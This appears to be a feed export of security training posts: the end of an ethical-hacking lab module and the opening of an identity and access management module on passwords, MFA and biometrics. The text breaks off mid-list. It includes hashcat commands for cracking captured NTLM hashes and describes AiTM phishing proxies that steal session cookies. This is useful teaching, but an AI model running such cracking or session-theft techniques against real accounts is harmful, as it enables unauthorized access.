&lt;p&gt;Key operational practices when something goes wrong in your lab (or, contextually, during a real engagement when something unexpectedly breaks at a client site):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Always have a documented rollback plan&lt;/strong&gt; (snapshots).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In real engagements&lt;/strong&gt;: immediately notify the designated point of contact per the RoE if a system crashes, becomes unstable, or unexpected impact occurs — transparency is a core ethical and contractual obligation. Pentesters are NOT supposed to hide accidental damage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maintain detailed logs/timestamps of all actions&lt;/strong&gt; taken (most professional tooling like Cobalt Strike, Burp Suite, and terminal logging via &lt;code&gt;script&lt;/code&gt;/&lt;code&gt;tmux logging&lt;/code&gt;/&lt;code&gt;CherryTree&lt;/code&gt;/&lt;code&gt;Obsidian&lt;/code&gt; notes support this) so any incident can be correlated and explained.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Have a "Get Out of Jail Free" / emergency contact card&lt;/strong&gt; with phone numbers of the client's technical and legal points of contact during live engagements.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.3.5 Deploying and Investigating Kali Linux (Practical Skills Covered)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Downloading official Kali Linux VM images (VirtualBox/VMware pre-built appliances) from kali.org &lt;strong&gt;only&lt;/strong&gt; (to avoid trojanized/backdoored images from third-party sources).&lt;/li&gt;
&lt;li&gt;Importing an OVA/OVF appliance into a hypervisor.&lt;/li&gt;
&lt;li&gt;Default credentials awareness (modern Kali enforces a custom-set password during first boot — no longer ships with default &lt;code&gt;kali:kali&lt;/code&gt; for security reasons in current releases; legacy versions used &lt;code&gt;root:toor&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Updating the system: &lt;code&gt;apt update &amp;amp;&amp;amp; apt full-upgrade&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Exploring the &lt;strong&gt;Kali menu structure&lt;/strong&gt;, organized by attack phase: Information Gathering, Vulnerability Analysis, Web Application Analysis, Database Assessment, Password Attacks, Wireless Attacks, Reverse Engineering, Exploitation Tools, Sniffing &amp;amp; Spoofing, Post Exploitation, Forensics, Reporting Tools, Social Engineering Tools.&lt;/li&gt;
&lt;li&gt;Verifying network configuration in isolated/host-only mode, confirming the VM cannot reach unintended networks.&lt;/li&gt;
&lt;li&gt;Familiarity with the Linux command line (Bash), filesystem hierarchy (&lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/var&lt;/code&gt;, &lt;code&gt;/usr&lt;/code&gt;, &lt;code&gt;/root&lt;/code&gt;), package management (&lt;code&gt;apt&lt;/code&gt;, &lt;code&gt;dpkg&lt;/code&gt;), permissions (&lt;code&gt;chmod&lt;/code&gt;, &lt;code&gt;chown&lt;/code&gt;), and process management — foundational skills required before any tool usage makes sense.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1.4 Summary
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Key Takeaways from Module 1
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ethical hacking is defined by authorization.&lt;/strong&gt; The same technical actions are a federal crime (under laws like the CFAA) or a paid professional service depending solely on documented, signed permission.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Penetration testing is a structured subset of ethical hacking&lt;/strong&gt;, governed by Rules of Engagement, Statements of Work, and legal authorization documents.&lt;/li&gt;
&lt;li&gt;Organizations conduct pentests for &lt;strong&gt;risk reduction, regulatory compliance (PCI DSS, HIPAA, GDPR, SOC 2, ISO 27001, NIST), insurance, and trust validation.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Threat actors&lt;/strong&gt; range from low-skill script kiddies to highly resourced nation-state APT groups; understanding their motivations and TTPs (cataloged in &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;) shapes how realistic simulations are designed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Methodologies (PTES, OSSTMM, OWASP WSTG, NIST SP 800-115, ISSAF)&lt;/strong&gt; ensure testing is consistent, complete, and legally defensible — never ad hoc.&lt;/li&gt;
&lt;li&gt;Tests vary by &lt;strong&gt;knowledge level&lt;/strong&gt; (black/white/gray box) and &lt;strong&gt;target type&lt;/strong&gt; (network, web, mobile, cloud, wireless, physical, social engineering, red team).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environmental considerations&lt;/strong&gt; (production risk, legacy/OT systems, cloud provider policies, compliance scope) must shape testing approach to avoid unintended damage.&lt;/li&gt;
&lt;li&gt;A safe, &lt;strong&gt;isolated virtual lab&lt;/strong&gt; (via Type 2 hypervisors like VirtualBox, using host-only/internal networking, with snapshot capability) is mandatory for legal hands-on practice — using platforms like Kali Linux as the attack platform and Metasploitable, DVWA, OWASP Juice Shop, VulnHub, or Hack The Box as legal targets.&lt;/li&gt;
&lt;li&gt;Career paths in this field range from junior pentester to red team operator, AppSec engineer, cloud security specialist, and beyond — supported by a recognized certification roadmap (Security+ → PenTest+/eJPT → OSCP → OSEP/OSWE/OSCE3).&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;&lt;em&gt;— End of Module 1 —&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ethicalhacking</category>
      <category>tutorial</category>
      <category>learning</category>
    </item>
    <item>
      <title>Identity Authentication and Access Management (IAM)</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 28 Jun 2026 14:06:33 +0000</pubDate>
      <link>https://dev.to/rencberakman/identity-authentication-and-access-management-iam-28p0</link>
      <guid>https://dev.to/rencberakman/identity-authentication-and-access-management-iam-28p0</guid>
      <description>&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why This Module Matters&lt;/li&gt;
&lt;li&gt;Foundations: Identity, Authentication, Authorization&lt;/li&gt;
&lt;li&gt;Password Policies&lt;/li&gt;
&lt;li&gt;Multi-Factor Authentication (MFA)&lt;/li&gt;
&lt;li&gt;Biometric Authentication&lt;/li&gt;
&lt;li&gt;Token-Based Authentication&lt;/li&gt;
&lt;li&gt;OAuth 2.0&lt;/li&gt;
&lt;li&gt;OpenID Connect (OIDC)&lt;/li&gt;
&lt;li&gt;SAML&lt;/li&gt;
&lt;li&gt;Kerberos&lt;/li&gt;
&lt;li&gt;NTLM&lt;/li&gt;
&lt;li&gt;Single Sign-On (SSO)&lt;/li&gt;
&lt;li&gt;Privileged Access Management (PAM)&lt;/li&gt;
&lt;li&gt;The Missing Layer: Directory Services &amp;amp; Identity Federation Architecture&lt;/li&gt;
&lt;li&gt;OT/ICS-Wide Identity Considerations&lt;/li&gt;
&lt;li&gt;Module Summary Table&lt;/li&gt;
&lt;li&gt;Navigation&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why This Module Matters
&lt;/h2&gt;

&lt;p&gt;Identity is the new perimeter. Firewalls fail, network segmentation fails, but the single most consistent root cause across breach reports for the last decade is &lt;strong&gt;compromised credentials and broken access logic&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Concrete evidence, not theory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Colonial Pipeline (May 2021)&lt;/strong&gt; — the attacker entered through a single compromised VPN account that had &lt;strong&gt;no MFA enabled&lt;/strong&gt; and was tied to a password reused from another breach. The result: 5,500 miles of pipeline shut down, fuel shortages across the U.S. East Coast, and a $4.4M ransom payment. This is the canonical IT-to-OT pivot case study and it starts entirely in the IAM layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uber (2022)&lt;/strong&gt; — an attacker bought a contractor's stolen credentials, defeated MFA via &lt;strong&gt;MFA fatigue&lt;/strong&gt; (repeated push-notification spam until the victim approved one), and walked into Uber's internal Slack, AWS console, and source code repos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microsoft Exchange "Golden SAML" style attacks&lt;/strong&gt; and the &lt;strong&gt;SolarWinds/Sunburst campaign (2020)&lt;/strong&gt; — attackers forged SAML tokens after compromising an ADFS signing certificate, granting themselves authentication into any federated service, including Microsoft 365, without ever touching a password.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kerberoasting and Pass-the-Hash&lt;/strong&gt; are present in the overwhelming majority of post-exploitation phases in enterprise ransomware intrusions documented in Mandiant's M-Trends and CrowdStrike's Global Threat Reports, year after year.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NotPetya (2017)&lt;/strong&gt; spread laterally inside Maersk and Merck largely via &lt;strong&gt;NTLM relay and stolen domain admin credentials&lt;/strong&gt;, causing over $10 billion in global damage — making it, to date, one of the most expensive uses of broken authentication in history.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Career relevance: IAM is the single domain where &lt;strong&gt;identity architects, red teamers, blue teamers, auditors, and OT security engineers&lt;/strong&gt; all need the same foundational knowledge, just applied differently. A penetration tester without deep Kerberos/NTLM knowledge cannot operate in a Windows domain. A SOC analyst without OAuth/SAML knowledge cannot triage a cloud account-takeover. An OT engineer without PAM knowledge cannot defend a Safety Instrumented System from an insider or a compromised vendor laptop.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Every major breach you will study in this entire roadmap touches IAM at least once — either as the initial access vector or as the mechanism of lateral movement. Master this module and you understand the connective tissue of nearly all intrusions.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. Foundations: Identity, Authentication, Authorization
&lt;/h2&gt;

&lt;p&gt;Before any protocol, three words must be permanently distinct in your mind:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Term&lt;/th&gt;
&lt;th&gt;Question it answers&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Who/what are you claiming to be?&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jdoe@corp.local&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authentication (AuthN)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can you prove that claim?&lt;/td&gt;
&lt;td&gt;Password + OTP code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authorization (AuthZ)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;What are you allowed to do once proven?&lt;/td&gt;
&lt;td&gt;"Can read Finance share, cannot write to Domain Admins"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   IDENTITY            AUTHENTICATION            AUTHORIZATION
  "I am jdoe"    --&amp;gt;   "Prove it: password +  --&amp;gt;  "OK, you may
                          OTP code"                  access /finance,
                                                      read-only"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most breaches occur not because authentication failed cryptographically, but because the &lt;strong&gt;authorization model was flat, over-permissioned, or never reviewed&lt;/strong&gt; after authentication succeeded. Keep this distinction precise — it will resurface in every section below.&lt;/p&gt;

&lt;p&gt;A fourth, frequently omitted, concept:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Accounting / Auditing (AAA's third "A")&lt;/strong&gt; — every authentication and authorization decision must be logged immutably. Without this, forensic reconstruction of an incident is impossible. This is your bridge to Module 2.x on logging and SIEM, and it is non-negotiable in OT environments where safety and liability are at stake.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Password Policies
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 First Principles
&lt;/h3&gt;

&lt;p&gt;A password is a &lt;strong&gt;shared secret&lt;/strong&gt;. Its security rests entirely on two properties: &lt;strong&gt;entropy&lt;/strong&gt; (how hard it is to guess/brute-force) and &lt;strong&gt;secrecy&lt;/strong&gt; (whether it has been disclosed, reused, or stored insecurely). Everything else — length rules, rotation rules, complexity rules — is an attempt to engineer those two properties at scale across a population of humans who are bad at generating randomness.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 How Passwords Are Actually Attacked
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────┬──────────────────────────────────────────┐
│ Attack Class     │ Mechanism                                │
├─────────────────┼──────────────────────────────────────────┤
│ Online brute     │ Repeated login attempts against a live   │
│ force            │ service (slow, noisy, rate-limited)       │
│ Offline crack    │ Attacker has the hash (e.g. from a dump) │
│                   │ and brute-forces/dictionary-attacks it    │
│                   │ with zero rate limit, using GPUs          │
│ Credential        │ Reusing leaked username:password pairs    │
│ stuffing          │ from unrelated breaches (Have I Been      │
│                   │ Pwned-class data) against your service    │
│ Password spraying │ Trying ONE common password against MANY  │
│                   │ accounts to stay under lockout thresholds │
└─────────────────┴──────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Password spraying&lt;/strong&gt; is the technique behind numerous nation-state intrusions (APT28/Fancy Bear has used it extensively against Microsoft 365 tenants). It defeats naive "5 failed attempts = lockout" policies because each &lt;em&gt;individual account&lt;/em&gt; only sees one or two attempts.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Offline Cracking in Practice
&lt;/h3&gt;

&lt;p&gt;If an attacker dumps &lt;code&gt;/etc/shadow&lt;/code&gt; on Linux or the NTDS.dit database on a Windows Domain Controller, they own the hashes. Speed depends entirely on hash algorithm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hashcat benchmark example — illustrates why algorithm choice matters enormously&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; 1000   &lt;span class="c"&gt;# -b = benchmark mode, -m 1000 = NTLM hash type&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; 1800   &lt;span class="c"&gt;# -m 1800 = sha512crypt (Linux shadow, modern)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;NTLM (MD4-based, unsalted) can be brute-forced at &lt;strong&gt;tens of billions of hashes/second&lt;/strong&gt; on modern GPUs. &lt;code&gt;bcrypt&lt;/code&gt;/&lt;code&gt;argon2&lt;/code&gt;-hashed passwords can be brute-forced at only &lt;strong&gt;thousands per second&lt;/strong&gt; because they are deliberately slow (memory-hard / CPU-hard by design). This single fact is why modern password storage MUST use bcrypt, scrypt, or Argon2 — never MD5, SHA-1, or unsalted SHA-256.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Dictionary + rule-based attack against a captured NTLM hash list&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1000 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 ntlm_hashes.txt rockyou.txt &lt;span class="nt"&gt;-r&lt;/span&gt; rules/best64.rule
&lt;span class="c"&gt;# -m 1000  : hash mode = NTLM&lt;/span&gt;
&lt;span class="c"&gt;# -a 0     : attack mode = straight dictionary&lt;/span&gt;
&lt;span class="c"&gt;# -r ...   : apply mangling rules (case, leetspeak, append digits) to each&lt;/span&gt;
&lt;span class="c"&gt;#            dictionary word, multiplying effective coverage&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 What Modern Policy Actually Should Say
&lt;/h3&gt;

&lt;p&gt;NIST SP 800-63B (the de facto modern standard) explicitly &lt;strong&gt;reversed&lt;/strong&gt; decades of bad advice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Old (bad) guidance&lt;/th&gt;
&lt;th&gt;Modern (NIST 800-63B) guidance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Force rotation every 90 days&lt;/td&gt;
&lt;td&gt;Rotate only on evidence of compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Require special chars/mixed case&lt;/td&gt;
&lt;td&gt;Require &lt;strong&gt;length&lt;/strong&gt; (≥8, recommend 15+) over complexity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block password managers&lt;/td&gt;
&lt;td&gt;Encourage them&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No reuse check&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Screen against known-breached password lists&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example: checking a password against the Pwned Passwords k-anonymity API&lt;/span&gt;
&lt;span class="c"&gt;# (never send the full password — only a SHA-1 prefix, preserving privacy)&lt;/span&gt;
&lt;span class="nv"&gt;PW_HASH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"P@ssw0rd123"&lt;/span&gt; | &lt;span class="nb"&gt;sha1sum&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'a-z'&lt;/span&gt; &lt;span class="s1"&gt;'A-Z'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PW_HASH&lt;/span&gt;:0:5&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;SUFFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PW_HASH&lt;/span&gt;:5&lt;span class="k"&gt;}&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://api.pwnedpasswords.com/range/&lt;/span&gt;&lt;span class="nv"&gt;$PREFIX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SUFFIX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# If a match is returned, the password has appeared in a known breach corpus&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Enforce &lt;strong&gt;length minimums&lt;/strong&gt;, not arbitrary complexity.&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;breach-list screening&lt;/strong&gt; at creation/change time.&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;account lockout / adaptive throttling&lt;/strong&gt; tuned to defeat spraying (e.g., lock per-IP and per-account velocity, not just per-account count).&lt;/li&gt;
&lt;li&gt;Store with &lt;strong&gt;Argon2id&lt;/strong&gt; (preferred), bcrypt, or scrypt — with per-user random salts and a server-side secret pepper where feasible.&lt;/li&gt;
&lt;li&gt;Never log raw passwords, even in debug/error paths — this is a recurring real-world finding (Facebook, 2019: hundreds of millions of plaintext passwords found in internal logs).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Failed login storms in &lt;code&gt;Security.evtx&lt;/code&gt; (Event ID &lt;strong&gt;4625&lt;/strong&gt; on Windows), &lt;code&gt;/var/log/auth.log&lt;/code&gt; on Linux, and authentication gateway logs are your primary spray/brute-force indicators. Look for &lt;strong&gt;one source IP/user-agent hitting many distinct usernames&lt;/strong&gt; with low per-account attempt counts — that signature is spraying, not brute force.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Many PLC/HMI/engineering workstation accounts ship with &lt;strong&gt;vendor-default credentials&lt;/strong&gt; (e.g., historically documented defaults for Siemens, Schneider, Rockwell HMIs) that are never rotated because operations teams fear downtime from a lockout. Shodan-indexed ICS devices with default creds remain discoverable to this day. &lt;strong&gt;Never apply IT lockout policies blindly to OT&lt;/strong&gt; — a locked-out HMI account during a process upset can be more dangerous than the credential risk itself; compensate instead with strict network segmentation and PAM session brokering (Section 13).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Password strength is irrelevant if the storage hash is weak, and policy is irrelevant if it ignores the realistic attack — spraying, not brute force, is what breaches you.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Multi-Factor Authentication (MFA)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 First Principles
&lt;/h3&gt;

&lt;p&gt;MFA requires proof from &lt;strong&gt;two or more independent factor categories&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1) Something you KNOW   — password, PIN
2) Something you HAVE   — phone, hardware token, smart card
3) Something you ARE    — fingerprint, face, iris
4) Somewhere you ARE    — geolocation/network context (increasingly used as a signal)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two passwords is not MFA. A password + a security question is not MFA (both are "something you know"). This distinction is tested constantly in compliance audits and interviews — know it cold.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 MFA Mechanisms, Ranked by Resistance to Modern Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WEAKEST ─────────────────────────────────────────────► STRONGEST
SMS OTP   Email OTP   TOTP App   Push Notification   FIDO2/WebAuthn (hardware)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SMS OTP&lt;/strong&gt; — vulnerable to &lt;strong&gt;SIM swapping&lt;/strong&gt; (social-engineering a carrier to port a victim's number) and &lt;strong&gt;SS7 protocol interception&lt;/strong&gt;. Numerous celebrity/crypto-wallet account takeovers (e.g., widely documented Twitter/X account hijacks, 2019–2021) trace back to SIM swap attacks defeating SMS MFA.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TOTP (Time-based One-Time Password, RFC 6238)&lt;/strong&gt; — a shared secret seed plus the current time window generates a 6-digit code. Stronger than SMS (no carrier dependency) but the &lt;strong&gt;seed can be phished&lt;/strong&gt; via real-time relay (adversary-in-the-middle).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Push notification MFA&lt;/strong&gt; — vulnerable to &lt;strong&gt;MFA fatigue / push bombing&lt;/strong&gt;: an attacker with a valid password spams push approvals until the victim taps "approve" out of annoyance or confusion. This is exactly the technique used in the &lt;strong&gt;Uber 2022&lt;/strong&gt; and several &lt;strong&gt;Lapsus$ group&lt;/strong&gt; intrusions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FIDO2/WebAuthn hardware keys (YubiKey, etc.)&lt;/strong&gt; — cryptographically bind the authentication to the &lt;strong&gt;specific origin domain&lt;/strong&gt;, making them phishing-resistant. Even if a user is tricked onto &lt;code&gt;evil-microsoft-login.com&lt;/code&gt;, the hardware key will refuse to sign the challenge because the origin doesn't match.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.3 Attack Tooling You Must Know
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Evilginx2&lt;/strong&gt; — a reverse-proxy phishing framework that sits between victim and real login page, harvesting session cookies in real time, which defeats TOTP and push MFA (it doesn't need the password — it steals the post-auth session token).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modlishka&lt;/strong&gt; — similar adversary-in-the-middle (AiTM) phishing proxy.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual illustration of why AiTM defeats OTP/push MFA (NOT an executable exploit):&lt;/span&gt;
&lt;span class="c"&gt;# Victim -&amp;gt; evil proxy (looks identical to real site) -&amp;gt; real site&lt;/span&gt;
&lt;span class="c"&gt;# Victim enters password + OTP on the FAKE page&lt;/span&gt;
&lt;span class="c"&gt;# Proxy relays both to the REAL site in real time&lt;/span&gt;
&lt;span class="c"&gt;# Proxy captures the resulting authenticated SESSION COOKIE&lt;/span&gt;
&lt;span class="c"&gt;# Attacker replays that cookie — MFA was satisfied, but for the ATTACKER's session&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is precisely why &lt;strong&gt;FIDO2/WebAuthn&lt;/strong&gt; is the recommended end-state: it cryptographically verifies the origin, so the proxy relay breaks.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.4 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Mandate &lt;strong&gt;FIDO2/WebAuthn or certificate-based smart cards&lt;/strong&gt; for privileged and remote-access accounts.&lt;/li&gt;
&lt;li&gt;Disable &lt;strong&gt;SMS MFA&lt;/strong&gt; for any account with elevated privilege.&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;number-matching push MFA&lt;/strong&gt; (Microsoft Authenticator's "enter the number shown on screen" mode) to blunt fatigue attacks — it doesn't fully solve AiTM, but it eliminates blind-tap approval.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate-limit and alert on repeated push prompts&lt;/strong&gt; to the same user within a short window — a strong fatigue-attack indicator.&lt;/li&gt;
&lt;li&gt;Conditional Access / risk-based policies: block or challenge logins from impossible-travel locations, new devices, or anomalous ASN ranges.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.5 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Azure AD/Entra ID Sign-in logs show &lt;code&gt;MFA Satisfied&lt;/code&gt; vs. &lt;code&gt;MFA Denied&lt;/code&gt; counts per session and per user — a burst of denied/cancelled push attempts followed by one approval within seconds is the fatigue-attack signature. AiTM compromises leave a tell-tale anomaly: &lt;strong&gt;the authenticating IP differs from the IP later using the resulting session token&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.6 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Air-gapped or "logically isolated" OT networks frequently have &lt;strong&gt;zero MFA&lt;/strong&gt; on engineering workstations because vendors historically didn't support it and operators view it as a usability tax during emergency response. The compensating architecture (Section 13) is to put MFA at the &lt;strong&gt;jump-server/PAM boundary&lt;/strong&gt; between IT and OT rather than inside the OT network itself — this preserves emergency operability inside the OT zone while still gating the crossing point.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; MFA defeats password theft, not session theft. If you don't also defend against AiTM phishing and push fatigue, your "MFA-protected" account is still one click away from compromise.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Biometric Authentication
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 First Principles
&lt;/h3&gt;

&lt;p&gt;Biometrics authenticate based on a &lt;strong&gt;measured physical or behavioral trait&lt;/strong&gt; — fingerprint ridges, iris patterns, facial geometry, gait, typing cadence. Critically: &lt;strong&gt;a biometric is an identifier, not a secret&lt;/strong&gt;. Your fingerprint is on every glass you touch; your face is in thousands of photos. This single fact reframes the entire threat model — biometrics are strong against &lt;em&gt;remote credential theft&lt;/em&gt; but weak against &lt;em&gt;physical spoofing and irrevocability&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 How Matching Works Internally
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ENROLLMENT:  raw biometric --&amp;gt; feature extraction --&amp;gt; template (NOT the raw image)
                                                       --&amp;gt; stored, ideally on-device
                                                           in a Secure Enclave/TPM

VERIFICATION: live capture --&amp;gt; feature extraction --&amp;gt; compare against stored
                                                        template --&amp;gt; match score
                                                        --&amp;gt; accept if score &amp;gt; threshold
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two error rates define system quality:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
